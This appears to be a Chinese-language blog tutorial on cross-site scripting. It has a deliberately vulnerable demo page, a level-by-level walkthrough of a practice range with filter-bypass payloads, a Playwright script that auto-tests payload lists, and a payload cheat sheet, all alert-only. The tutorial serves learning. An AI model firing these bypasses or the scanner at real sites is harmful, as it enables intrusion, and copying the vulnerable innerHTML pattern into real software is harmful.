XSS 从零开始


XSS 从零开始

什么是XSS:
Cross Site Scripting (XSS)
从网页发现漏洞,成功在网页中“插入脚本”,并让浏览器执行它
示例代码:

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>XSS 漏洞学习演示</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      max-width: 800px;
      margin: 0 auto;
      padding: 20px;
      background: #f5f5f5;
    }

    .container {
      background: #fff;
      padding: 20px;
      border-radius: 8px;
      margin-bottom: 20px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    }

    .container {
      border-left: 4px solid #ff4444;
      background: #fff5f5;
    }


    input,
    textarea {
      width: 100%;
      padding: 10px;
      margin: 10px 0;
      border: 1px solid #ddd;
      border-radius: 4px;
    }

    button {
      background: #007bff;
      color: #fff;
      padding: 10px 20px;
      border: none;
      border-radius: 4px;
      cursor: pointer;
    }

    button:hover {
      background: #0056b3;
    }

    .output {
      border: 1px solid #ddd;
      padding: 10px;
      margin: 10px 0;
      border-radius: 4px;
      min-height: 40px;
      background: #f8f9fa;
    }
  </style>
</head>

<body>
  <h1>XSS演示</h1>

  <div class="container">
    <h2>受攻击的代码示例</h2>
    <p>输入会被直接写入 <code>innerHTML</code>,故意保留 XSS 风险。</p>

    <label for="userInput">用户输入:</label>
    <input type="text" id="userInput" placeholder="试输入 &lt;iframe src=' javascript:alert(1)'&gt;">
    <button id="aButton">提交(易受攻击)</button>

    <div class="output" id="aOutput"></div>
  </div>



  <script>
    function aaa() {
      const input = document.getElementById('userInput').value;
      const output = document.getElementById('aOutput');
      output.innerHTML = input;
      console.log(input);
    }

    function wireEvents() {
      document.getElementById('aButton').addEventListener('click', aaa);

      document.getElementById('userInput').addEventListener('keydown', (event) => {
        if (event.key === 'Enter') {
          console.log('ssssssssss');
        }
      });
    }
    document.addEventListener('DOMContentLoaded', wireEvents);
  </script>
</body>

</html>
对示例代码,只有这个可以执行,其他的语句都被浏览器自动清洗:
<iframe src="javascript:alert(1)"></iframe>

以下是失败的payload:

<script>alert(1)</script>
&lt;script&gt;alert(1)&lt;iscript&gt;
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video onerror=alert(1)>


看了以上代码,或能理解什么是XSS
开始在游戏中学习和测试
http://test.ctf8.com/
#### level1
观察页面,网址和源代码:
反射上下文确认为网址参数和欢迎用户xxx

测试:
成功,TEST被原样插入页面:http://test.ctf8.com/level1.php?name=TEST
失败,页面无显示:http://test.ctf8.com/level1.php?name=<script>
成功,"><,被原样插入页面:欢迎用户"><  :http://test.ctf8.com/level1.php?name="><

尝试直接插入alert,都成功跳转了
http://test.ctf8.com/level1.php?name=<script>alert(1)</script>
http://test.ctf8.com/level1.php?name=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E
http://test.ctf8.com/level1.php?name=%22%3E%3Csvg%20onload%3Dalert(1)%3E
http://test.ctf8.com/level1.php?name=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E


#### level2
地址 http://test.ctf8.com/level2.php?keyword=test
和level1一样,先用“>”闭合,再拼接一个:<script>alert(1)</script>
即输入:"><script>alert(1)</script>,点击搜索


#### level3
地址 http://test.ctf8.com/level3.php?writing=wait

反射型的XSS主要看:F12 查看 Elements 面板,看标签是不是被截断了,后面多了注入的新标签。如果多了,就尝试拼接完整的脚本

本关对一些特殊字符做了一些 escape,测试如下:
分别输入' " 
然后点击搜索
可以看到:

' → 没转义: <input name="keyword" value="" '="">
'> → 部分转义:<input name="keyword" value="" &gt;'="">
" → 转义: <input name="keyword" value="&quot;">
\ → 没转义,但是被引号包裹了,不可用:<input name="keyword" value="\">

则单引号是可以注入的,拼接
' autofocus onfocus=alert(1) ' 获得焦点时执行
' onmouseover=alert(1) '      鼠标移上去执行
' onblur=alert(1) '        失去焦点执行
' onkeydown=alert(1) '      

搜索 ' autofocus onfocus=alert(1) ' 成功过关

>>'>"> ' autofocus onfocus=alert(1) ' 渲染输出:
<input name="keyword" value="&gt;&gt;'&gt;">
 ' autofocus o_nfocus=alert(1) '"&gt;




####  level4
地址 http://test.ctf8.com/level4.php?keyword=try%20harder!
按前面的关卡推测如下:
Level 2:双引号 " " 包裹,几乎没有转义 → 用 "><script> 就能打
Level 3:单引号 ' ' 包裹,部分(>和")转义 ' → 用 ' autofocus onfocus=alert(1) ' 就能打
那么 Level 4:双引号 " " 包裹,但 < 被转义 → 不能插标签: <script> <img>,只能用事件

搜索 →  " onmouseover=alert(1) " →  再把鼠标移到输入框 → 成功过关

#### level5
地址 http://test.ctf8.com/level5.php?keyword=find%20a%20way%20out!
随便测了一个事件:" onmouseover=alert(1) "
发现变成了   →   <input name="keyword" value="" o_nmouseover="alert(1)" ""="">
再测: " on "<input name="keyword" value="" o_n="" ""="">
说明on开头的都不可用了
<script>也会被分拆为<input name="keyword" value="&lt;scr_ipt&gt;alert(1)&lt;/script&gt;">
双写: " oonnmouseover=alert(1) "
插入回车: " onmo%0Duseover=alert(1) "
16进制实体符号:" o&#x6E;mouseover=alert(1) "
实体符号:" o&#110;mouseover=alert(1) "
配合图片 " src=x onerror=alert(1) "
以上均被过滤

尝试a链接:"><a href=javascript:alert(1)>aaa</a>
获得:
html
<form action="level5.php" method="GET">
<input name="keyword" value=""><a href="javascript:alert(1)">aaa</a>"&gt;
<input type="submit" name="submit" value="搜索">
</form>

点击链接过关


#### level6
地址 http://test.ctf8.com/level6.php
检测如下:

?keyword=TEST<input name="keyword" value="?keyword=TEST">
" => <input name="keyword" value="" "="">
<script>alert(1)</script> => <input name="keyword" value="&lt;scr_ipt&gt;alert(1)&lt;/script&gt;">
"><a href=javascript:alert(1)>aaa</a>  =>  <a hr_ef="javascript:alert(1)">aaa</a>


进步检测:

插注释符号并URI编码:
%22%3E%3Ca%20h<!--%20-->ref%3Djavascript:alert(1)%3EX%3C%2Fa%3E 渲染输出:
<input name="keyword" value="%22%3E%3Ca%20h&lt;!--%20--&gt;ref%3Djavascript:alert(1)%3EX%3C%2Fa%3E">


插注释符号:

"> <a h<!-- -->ref=javascript:alert(1)>X</a> 渲染输出:
<a h<!--="" --="">ref=javascript:alert(1)&gt;X</a>


#### level7

"><scrscriptipt>alert("xss")</scrscriptipt>
1" oonnclick=alert(1)//


#### level8

javascr%09ipt:alert(1)


#### level9

javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');


#### level10

&t_sort=" type="text" onclick="alert(1)


#### level16

keyword=<img%0Asrc=1%0Aonerror=alert(1)>

#### level17

arg01=a&arg02=b%20onmouseover=alert(1)

针对http://test.ctf8.com/ 的一个自动测试XSS的playwright代码,该代码可以自动截图(在没有alert的情况下),以及记录详细结果

/**
 * verify_xss_playwright.js - 增强调试版本
 * Usage:
 * node verify_xss_playwright.js --base "http://test.ctf8.com/level7.php?keyword=" --payloads payloads.txt --out results.csv --concurrency 3 --headless=false
 */

const fs = require('fs');
const path = require('path');
const argv = require('minimist')(process.argv.slice(2));
const { chromium, webkit, firefox } = require('playwright');

if (!argv.base || !argv.payloads) {
  console.error("Usage: node verify_xss_playwright.js --base \"http://target/level7.php?keyword=\" --payloads payloads.txt [--out results.csv] [--concurrency 3] [--headless=true]");
  process.exit(1);
}

const BASE = argv.base;
const PAYLOADS_FILE = argv.payloads;
const OUT_FILE = argv.out || 'results.csv';
const CONCURRENCY = parseInt(argv.concurrency || '2', 10);
const HEADLESS = argv.headless === undefined ? true : (argv.headless === 'true' || argv.headless === true);
const NAV_TIMEOUT = parseInt(argv.navTimeout || '8000', 10);
const ALERT_WAIT = parseInt(argv.alertWait || '1500', 10);
const SCREEN_DIR = 'screens';

// 调试模式
const DEBUG = argv.debug === 'true' || argv.debug === true;

if (!fs.existsSync(PAYLOADS_FILE)) {
  console.error("❌ payloads file not found:", PAYLOADS_FILE);
  process.exit(2);
}

// 创建截图目录并测试写入权限
try {
  if (!fs.existsSync(SCREEN_DIR)) {
    fs.mkdirSync(SCREEN_DIR, { recursive: true });
    console.log(✅ Created screenshot directory: ${path.resolve(SCREEN_DIR)});
  } else {
    console.log(✅ Screenshot directory exists: ${path.resolve(SCREEN_DIR)});
  }
  
  // 测试写入权限
  const testFile = path.join(SCREEN_DIR, '.test_write');
  fs.writeFileSync(testFile, 'test');
  fs.unlinkSync(testFile);
  console.log(✅ Screenshot directory is writable);
} catch (err) {
  console.error(❌ Cannot create or write to screenshot directory:, err.message);
  process.exit(3);
}

const raw = fs.readFileSync(PAYLOADS_FILE, 'utf8');
let payloads = raw.split(/\r?\n/).map(s => s.trim()).filter(Boolean);
console.log(📝 Loaded ${payloads.length} payloads from ${PAYLOADS_FILE});

function safeName(s) {
  return s.replace(/[^0-9A-Za-z\-_.]/g, '_').slice(0, 80);
}

function writeHeader(file) {
  if (!fs.existsSync(file)) {
    fs.writeFileSync(file, 'url,payload,result,info,timestamp\n', { encoding: 'utf8' });
  }
}

function appendCSV(file, obj) {
  const esc = v => {
    if (v === null || v === undefined) return '';
    const s = String(v).replace(/"/g, '""');
    return "${s}";
  };
  const line = [obj.url, obj.payload, obj.result, obj.info || '', obj.timestamp].map(esc).join(',') + '\n';
  fs.appendFileSync(file, line, 'utf8');
}

// 增强的截图函数
async function takeScreenshot(page, filepath, idx, payload) {
  console.log([${idx}] 📸 Attempting screenshot: ${filepath});
  
  try {
    // 检查页面状态
    if (page.isClosed()) {
      console.error([${idx}] ❌ Page is closed, cannot take screenshot);
      return false;
    }
    
    if (DEBUG) {
      console.log([${idx}] 🔍 Page URL: ${page.url()});
      console.log([${idx}] 🔍 Viewport: ${JSON.stringify(page.viewportSize())});
    }
    
    // 确保页面完全加载
    try {
      await page.waitForLoadState('load', { timeout: 3000 });
    } catch (e) {
      console.log([${idx}] ⚠️  Page load state timeout (continuing anyway));
    }
    
    // 等待一下确保渲染完成
    await page.waitForTimeout(800);
    {}
    // 检查目录是否存在
    const dir = path.dirname(filepath);
    if (!fs.existsSync(dir)) {
      console.log([${idx}] 📁 Creating directory: ${dir});
      fs.mkdirSync(dir, { recursive: true });
    }
    
    console.log([${idx}] 🎬 Taking screenshot...);
    
    // 执行截图 - 使用多种尝试
    let success = false;
    let error = null;
    
    // 尝试1: fullPage
    try {
      await page.screenshot({ 
        path: filepath, 
        fullPage: true,
        timeout: 15000
      });
      success = true;
      console.log([${idx}] ✅ Screenshot method: fullPage);
    } catch (err) {
      error = err;
      console.log([${idx}] ⚠️  fullPage failed: ${err.message});
      
      // 尝试2: 不使用fullPage
      try {
        await page.screenshot({ 
          path: filepath,
          timeout: 15000
        });
        success = true;
        console.log([${idx}] ✅ Screenshot method: viewport only);
      } catch (err2) {
        error = err2;
        console.log([${idx}] ⚠️  viewport screenshot failed: ${err2.message});
      }
    }
    
    if (!success) {
      console.error([${idx}] ❌ All screenshot methods failed:, error.message);
      return false;
    }
    
    // 验证文件
    await page.waitForTimeout(500); // 等待文件系统写入
    
    if (fs.existsSync(filepath)) {
      const stats = fs.statSync(filepath);
      if (stats.size > 0) {
        console.log([${idx}] ✅ Screenshot saved: ${path.basename(filepath)} (${(stats.size/1024).toFixed(2)} KB));
        return true;
      } else {
        console.error([${idx}] ❌ Screenshot file is empty: ${filepath});
        fs.unlinkSync(filepath); // 删除空文件
        return false;
      }
    } else {
      console.error([${idx}] ❌ Screenshot file not found after capture: ${filepath});
      return false;
    }
  } catch (err) {
    console.error([${idx}] ❌ Screenshot exception:, err.message);
    if (DEBUG) {
      console.error(err.stack);
    }
    return false;
  }
}

writeHeader(OUT_FILE);
console.log(📄 Output CSV: ${path.resolve(OUT_FILE)});

async function worker(id, queue, browser) {
  console.log(👷 Worker ${id} started);
  
  while (true) {
    const item = queue.shift();
    if (!item) {
      console.log(👷 Worker ${id} finished);
      return;
    }
    
    const { idx, payload } = item;
    const encoded = encodeURIComponent(payload);
    const url = BASE + encoded + '+&submit=搜索';

    console.log(\n[${idx}] 🚀 Processing: ${payload.substring(0, 50)}${payload.length > 50 ? '...' : ''});

    const result = { url, payload, result: "none", info: "", timestamp: new Date().toISOString() };
    let context = null;
    let page = null;

    try {
      context = await browser.newContext({ acceptDownloads: false });
      page = await context.newPage();
      await page.setViewportSize({ width: 1280, height: 900 });

      // dialog handling
      let dialogTriggered = false;
      let dialogMessage = "";
      page.on('dialog', async dialog => {
        try {
          dialogMessage = dialog.message();
          dialogTriggered = true;
          await dialog.dismiss();
        } catch (e) {}
      });

      const startUrl = url;
      console.log([${idx}] 🌐 Navigating to URL...);
      try {
        await page.goto(url, { waitUntil: 'domcontentloaded', timeout: NAV_TIMEOUT });
        console.log([${idx}] ✅ Navigation complete);
      } catch (err) {
        console.log([${idx}] ⚠️  Navigation error (tolerated): ${err.message});
      }

      // 等待alert
      await page.waitForTimeout(ALERT_WAIT);

      if (dialogTriggered) {
        result.result = 'alert';
        result.info = dialogMessage;
        console.log([${idx}] 🚨 ALERT detected: "${dialogMessage}");
        appendCSV(OUT_FILE, result);
        await page.close();
        await context.close();
        continue;
      }

      // 等待可能的重定向
      await page.waitForTimeout(1000);
      const current = page.url();
      let wasRedirected = false;
      if (current && current !== startUrl) {
        wasRedirected = true;
        console.log([${idx}] ↪️  REDIRECT detected: ${current});
        // 不要立即返回,继续检查重定向后的页面
      }

      // 获取页面HTML
      let body = "";
      try {
        body = await page.content();
        console.log([${idx}] 📄 Got page content (${body.length} chars));
      } catch (e) {
        console.log([${idx}] ⚠️  Could not get page content);
        body = "";
      }
      const lower = (body || "").toLowerCase();

      // 检查DOM反射
      const hasScript = lower.includes('<script');
      const hasJavascript = lower.includes('javascript:');
      const hasOnfocus = lower.includes('onfocus');
      const hasOnmouseover = lower.includes('onmouseover');
      const hasOnerror = lower.includes('onerror');
      
      const isDomReflected = hasScript || hasJavascript || hasOnfocus || hasOnmouseover || hasOnerror;
      
      if (DEBUG) {
        console.log([${idx}] 🔍 DOM checks: script=${hasScript}, js=${hasJavascript}, onfocus=${hasOnfocus}, onmouseover=${hasOnmouseover}, onerror=${hasOnerror});
      }

      if (isDomReflected) {
        result.result = wasRedirected ? 'dom_reflected_after_redirect' : 'dom_reflected';
        const screenshotPath = path.join(SCREEN_DIR, ${String(idx).padStart(4,'0')}_${safeName(payload)}.png);
        
        console.log([${idx}] 🎯 DOM-REFLECTED detected${wasRedirected ? ' (after redirect)' : ''}, taking screenshot...);
        console.log([${idx}] 📁 Screenshot path: ${screenshotPath});
        console.log([${idx}] 🔍 Page status: closed=${page.isClosed()}, url=${page.url()});
        
        const success = await takeScreenshot(page, screenshotPath, idx, payload);
        result.info = success ? screenshot:${screenshotPath}${wasRedirected ? ';redirected_from:'+startUrl : ''} : 'screenshot_failed';
        
        console.log([${idx}] 💾 Appending to CSV...);
        appendCSV(OUT_FILE, result);
        
        console.log([${idx}] 🔒 Closing page and context...);
        await page.close();
        await context.close();
        console.log([${idx}] ✅ Closed successfully);
        continue;
      }

      // none情况 - 也要截图
      result.result = wasRedirected ? 'none_after_redirect' : 'none';
      const screenshotPath = path.join(SCREEN_DIR, ${String(idx).padStart(4,'0')}_${safeName(payload)}.png);
      
      console.log([${idx}]NONE detected${wasRedirected ? ' (after redirect)' : ''}, taking screenshot...);
      console.log([${idx}] 📁 Screenshot path: ${screenshotPath});
      console.log([${idx}] 🔍 Page status: closed=${page.isClosed()}, url=${page.url()});
      
      const success = await takeScreenshot(page, screenshotPath, idx, payload);
      result.info = success ? screenshot:${screenshotPath}${wasRedirected ? ';redirected_from:'+startUrl : ''} : 'screenshot_failed';
      
      appendCSV(OUT_FILE, result);

    } catch (err) {
      console.error([${idx}]ERROR:, err.message);
      result.result = 'error';
      result.info = err.message || String(err);
      
      if (page && !page.isClosed()) {
        const errorPath = path.join(SCREEN_DIR, ${String(idx).padStart(4,'0')}_error.png);
        console.log([${idx}] 📸 Attempting error screenshot...);
        await takeScreenshot(page, errorPath, idx, payload);
      }
      
      appendCSV(OUT_FILE, result);
    } finally {
      try { 
        if (page && !page.isClosed()) {
          await page.close(); 
        }
      } catch(e) {
        console.error([${idx}] ⚠️  Error closing page:, e.message);
      }
      try { 
        if (context) {
          await context.close(); 
        }
      } catch(e) {
        console.error([${idx}] ⚠️  Error closing context:, e.message);
      }
    }
  }
}

(async () => {
  console.log('\n🎭 Playwright XSS Verification Tool');
  console.log('=====================================');
  console.log(⚙️  Concurrency: ${CONCURRENCY});
  console.log(📦 Payloads: ${payloads.length});
  console.log(👁️  Headless: ${HEADLESS});
  console.log(🐛 Debug: ${DEBUG});
  console.log(📂 Screenshots: ${path.resolve(SCREEN_DIR)}/);
  console.log('=====================================\n');
  
  const browser = await chromium.launch({ 
    headless: HEADLESS, 
    args: ['--no-sandbox','--disable-setuid-sandbox'] 
  });

  console.log('✅ Browser launched\n');

  const queue = payloads.map((p, idx) => ({ idx: idx + 1, payload: p }));

  const workers = [];
  for (let i = 0; i < CONCURRENCY; i++) {
    workers.push(worker(i + 1, queue, browser));
  }
  await Promise.all(workers);

  await browser.close();
  
  console.log('\n=====================================');
  console.log('✅ All done!');
  console.log(📄 Results: ${OUT_FILE});
  console.log(📸 Screenshots: ${SCREEN_DIR}/);
  
  // 统计截图
  try {
    const files = fs.readdirSync(SCREEN_DIR).filter(f => f.endsWith('.png'));
    console.log(📊 Total screenshots: ${files.length});
  } catch (e) {}
  
  console.log('=====================================\n');
})();

payload

"><scrscriptipt>alert("xss")</scrscriptipt>
javascr%09ipt:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
">
'><
"><ScRipt>alert('x')</ScRipt>
" autofocus onfocus=alert(1) "
"><a href=javascript:alert(1)>X</a>
1" oonnclick=alert(1)//
<iframe src="javascript:alert(1)"></iframe>
<script>alert(1)</script>
&lt;script&gt;alert(1)&lt;iscript&gt;
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video onerror=alert(1)>
' autofocus onfocus=alert(1) ' 
' onmouseover=alert(1) '       
' onblur=alert(1) '            
' onkeydown=alert(1) '
" oonnmouseover=alert(1) "
" onmo%0Duseover=alert(1) "
" o&#x6E;mouseover=alert(1) "
" o&#110;mouseover=alert(1) "
" src=x onerror=alert(1) "
"><a href=javascript:alert(1)>aaa</a>
%22%3E%3Ca%20h<!--%20-->ref%3Djavascript:alert(1)%3EX%3C%2Fa%3E
"> <a h<!-- -->ref=javascript:alert(1)>X</a>
"><sCrIpT>alert(1)</sCrIpT>
<script>prompt("1");</script>
<script>confirm(1);</script>
<button onclick=alert('xss')>触发按钮</button>
<button ondbclick=alert('xss')>触发按钮</button>
<button onmousedown=alert('xss')>触发按钮</button>
<button onmouseover=alert('xss')>触发按钮</button>
<button onmouseout=alert('xss')>触发按钮</button>          
<scrscriptipt>alert('xss')</scrscriptipt>
<img src="#" onerror="alert('xss')"/> 
<img src="#" onerror=alert`xss`/>
<img/src='#'/onerror='alert('xss')'/>
<a href="ja%0Avascript:alert('xss')">click me!%0A</a>
arg01=a&arg02=b%20onmouseover=alert(1)  
keyword=<img%0Asrc=1%0Aonerror=alert(1)>
&t_sort=" type="text" onclick="alert(1)
javascr%09ipt:alert(1)//http://
javasc%09ript:alert('http://');
"><scrscriptipt>alert("xss")</scrscriptipt>
1" oonnclick=alert(1)//

什么是payload?

简短说:payload 就是你“投放”的那段数据/代码——它的目的是触发某种行为。
在安全、漏洞利用或网络请求的语境里,payload 就是包含要执行或传递给目标的实际内容(不是周边的协议头或包装),也就是“有用的负载”。

下面分场景解释,帮你把概念看清楚:

1) 一般含义(通用)

  • 在任何通信里(例如 HTTP 请求),请求的 body 里真正要传输的那部分数据就叫 payload(比如 JSON 数据 { “user”:”bob” })。

  • 换句话说,payload = “真正有意义的内容”,不是信封(header)或信封上的地址(metadata)。

2) 漏洞利用 / 攻击中的含义

  • 在漏洞利用里,payload 往往是会被目标执行的代码或会让目标做出特定动作的数据。

  • 例如在 XSS(跨站脚本)场景,payload 通常是一段 JavaScript(比如教学用的 alert(‘X’))或会触发 JS 执行的 HTML 属性()。这段代码被注入并在受害者浏览器上运行,就叫 XSS payload。

3) 常见的 payload 类型(举例说明)

  • XSS payload:要在页面上执行的 JS/HTML;目的是弹窗、窃取 cookie、重定向等。

  • Shellcode(本地/远程利用):二进制机器码,用来在受害主机上开启 shell 或执行命令。

  • HTTP/JSON payload:API 请求体里的数据(如 { “username”:”alice” })。

  • 文件上传的 payload:上传的文件本身可能包含恶意内容(例如特制的脚本化文件)。

4) 在 CTF / 靶场里“payload”通常指什么?

  • 通常指你输入到某个参数里的那段“能触发题目效果”的内容。

  • 例子(教学用):若题目是 XSS,攻破点是把 JS 插入到页面并执行,那么你提交的那段 JS 就是 payload。

  • 靶场会限制长度/字符集/上下文(例如只允许 4 字符),所以真正能成功的 payload 要符合这些限制并适配被注入的“上下文”。


文章作者: Alan Work
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Alan Work !
  目录